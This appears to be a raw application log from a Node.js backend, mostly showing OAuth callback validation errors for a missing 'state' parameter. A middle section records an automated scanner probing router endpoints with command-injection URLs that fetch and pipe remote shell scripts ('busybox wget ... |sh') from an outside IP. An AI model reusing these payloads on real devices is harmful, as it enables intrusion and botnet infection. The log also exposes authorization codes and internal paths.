+──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758611352617_ldl1qxmv2' +} +❌ [ERROR] 2025-09-23T07:09:12.619Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758611352617_ldl1qxmv2', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T07:31:23.514Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758612683512_pgkq2yagc', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '93.3.5.138', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T07:38:30.275Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758613110274_b34lhsmgb' +} +❌ [ERROR] 2025-09-23T07:38:30.276Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758613110274_b34lhsmgb', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RIwrGcx5lqVwE118-k5CcEE0oFfCLXbf7xQPPG74FkbhY24oA6pG9mTLsVXOrwiuFlPumGwP5eKO-QO_bqbYagjzYUjEo6Ur2JJY0K7ZomQTfm-yQcnskFRHIpM5Lie3I-krfgJTwHQZIy6729d6rIVgxDgcQf8c2f-DDC1I4nST4omdsExQpxOls1yqc0qLOUYaqXC1KWwLrt0CE_w16dBnSlQ6jrr0rL9G8gUkDjkQkt-f7kNSO_SGGSPuEYtnF5dSUvBsdRf7f5kXcVLNHXG2h0yY3srZzTrJZteKOEVIaVV_qs93y8QMjwPbLEAKX8fIy88-YHGoV5G1IxI4uQbh8Ts4wTAjpYuN8iN9kNYIdKXPTdM2GZ-2fOImTdTJWcIaZwevVxbv6CdMOpMAO-BH-bObJ0TLE5J91qiS8e5AOehulD_5ZN7Ftk', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '93.3.5.138', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T07:39:22.129Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RIwrGcx5lqVwE118-k5CcEE'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RI'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758613162127_wy1mw1ins' +} +❌ [ERROR] 2025-09-23T07:39:22.130Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RIwrGcx5lqVwE118-k5CcEE0oFfCLXbf7xQPPG74FkbhY24oA6pG9mTLsVXOrwiuFlPumGwP5eKO-QO_bqbYagjzYUjEo6Ur2JJY0K7ZomQTfm-yQcnskFRHIpM5Lie3I-krfgJTwHQZIy6729d6rIVgxDgcQf8c2f-DDC1I4nST4omdsExQpxOls1yqc0qLOUYaqXC1KWwLrt0CE_w16dBnSlQ6jrr0rL9G8gUkDjkQkt-f7kNSO_SGGSPuEYtnF5dSUvBsdRf7f5kXcVLNHXG2h0yY3srZzTrJZteKOEVIaVV_qs93y8QMjwPbLEAKX8fIy88-YHGoV5G1IxI4uQbh8Ts4wTAjpYuN8iN9kNYIdKXPTdM2GZ-2fOImTdTJWcIaZwevVxbv6CdMOpMAO-BH-bObJ0TLE5J91qiS8e5AOehulD_5ZN7Ftk - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 3, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RI'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758613162127_wy1mw1ins', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7Uo--1AIoLyqfuMj2tVzVLUlQZcFB52y3b6_FhW9z9KfF_bcBEXwIzySHnEC5VpugUBt0RsA_kOINTKCEJdPFzn4x8SgiGshPa_R8KwKbiEwa8SjZYOVK2b1-fmS7JcLVRJ-mBRUrSZg7u036B0ISY0WFcZehg4WFo8lRMREPuc3ShJ50aV5E87diNI_7zX8ZqC8SxYyYcOnRv5ln_FuHPNAN7w00ocjQoN9Fjm4KZt6en9UarjC1_JKjGWMZDdm-KONswpUXoHQDl9X4ABqlewZLNgit8VOxt6Kavrg1Uoh1PysUDO2sxMeiuVvlQ4IutOdtonQ0X-p8SALsbcg7e_bbL8Rg3haI7QOL95BKC3cfCkGmJQ1U5HLhtxSwAUmd0rgzGHKrm44lRC3y9GecCmWrJAXNBZZIrQuV8Xzt8e93ntQCU3rGQod0', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '93.3.5.138', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T07:43:06.451Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7Uo--1AIoLyqfuMj2tVzVL'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758613386450_reyu5ppm5' +} +❌ [ERROR] 2025-09-23T07:43:06.453Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7Uo--1AIoLyqfuMj2tVzVLUlQZcFB52y3b6_FhW9z9KfF_bcBEXwIzySHnEC5VpugUBt0RsA_kOINTKCEJdPFzn4x8SgiGshPa_R8KwKbiEwa8SjZYOVK2b1-fmS7JcLVRJ-mBRUrSZg7u036B0ISY0WFcZehg4WFo8lRMREPuc3ShJ50aV5E87diNI_7zX8ZqC8SxYyYcOnRv5ln_FuHPNAN7w00ocjQoN9Fjm4KZt6en9UarjC1_JKjGWMZDdm-KONswpUXoHQDl9X4ABqlewZLNgit8VOxt6Kavrg1Uoh1PysUDO2sxMeiuVvlQ4IutOdtonQ0X-p8SALsbcg7e_bbL8Rg3haI7QOL95BKC3cfCkGmJQ1U5HLhtxSwAUmd0rgzGHKrm44lRC3y9GecCmWrJAXNBZZIrQuV8Xzt8e93ntQCU3rGQod0 - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 3, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758613386450_reyu5ppm5', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T07:48:59.302Z HTTP POST /tmUnblock.cgi - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:45.88.186.32', + method: 'POST', + url: '/tmUnblock.cgi', + userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' + }, + requestId: 'req_1758613739300_911mt5egm', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T07:48:59.518Z HTTP GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.zqq.sh%7Csh%60 - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.88.186.32', + method: 'GET', + url: '/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.zqq.sh%7Csh%60', + userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' + }, + requestId: 'req_1758613739517_3qpgxdtrl', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T07:48:59.624Z HTTP GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1 - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.88.186.32', + method: 'GET', + url: '/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1', + userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' + }, + requestId: 'req_1758613739623_6ufpb13zu', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T07:48:59.735Z HTTP GET /cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS} - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.88.186.32', + method: 'GET', + url: '/cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS}', + userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' + }, + requestId: 'req_1758613739734_mdwa560zb', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T07:48:59.951Z HTTP POST /goform/mp - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.88.186.32', + method: 'POST', + url: '/goform/mp', + userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' + }, + requestId: 'req_1758613739949_klgw1xtkw', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T07:49:00.059Z HTTP GET /goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20 - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.88.186.32', + method: 'GET', + url: '/goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20', + userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' + }, + requestId: 'req_1758613740058_ybt12jyri', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T07:49:00.277Z HTTP POST /cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4= - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.88.186.32', + method: 'POST', + url: '/cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4=', + userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' + }, + requestId: 'req_1758613740276_gyllspgbm', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T07:49:00.383Z HTTP POST /diagnostic.php - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.88.186.32', + method: 'POST', + url: '/diagnostic.php', + userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' + }, + requestId: 'req_1758613740382_5tjbe50qe', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T07:49:00.596Z HTTP GET /HNAP1/ - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.88.186.32', + method: 'GET', + url: '/HNAP1/', + userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' + }, + requestId: 'req_1758613740595_ngj7jsudy', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T07:49:00.702Z HTTP POST /goform/SystemCommand - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.88.186.32', + method: 'POST', + url: '/goform/SystemCommand', + userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' + }, + requestId: 'req_1758613740701_vmf8kvtgf', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T07:50:35.897Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:3.134.148.59', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' + }, + requestId: 'req_1758613835896_k2hiu3r35', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?error=1', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '54.175.74.27', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T07:50:42.532Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?error=1', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' + }, + requestId: 'req_1758613842531_qyljbc4vo' +} +❌ [ERROR] 2025-09-23T07:50:42.533Z HTTP GET /idnot/callback?error=1 - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?error=1', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' + }, + requestId: 'req_1758613842531_qyljbc4vo', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T07:51:47.239Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:3.134.148.59', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' + }, + requestId: 'req_1758613907238_e87jz6qt2', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '93.3.5.138', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T08:04:17.705Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: 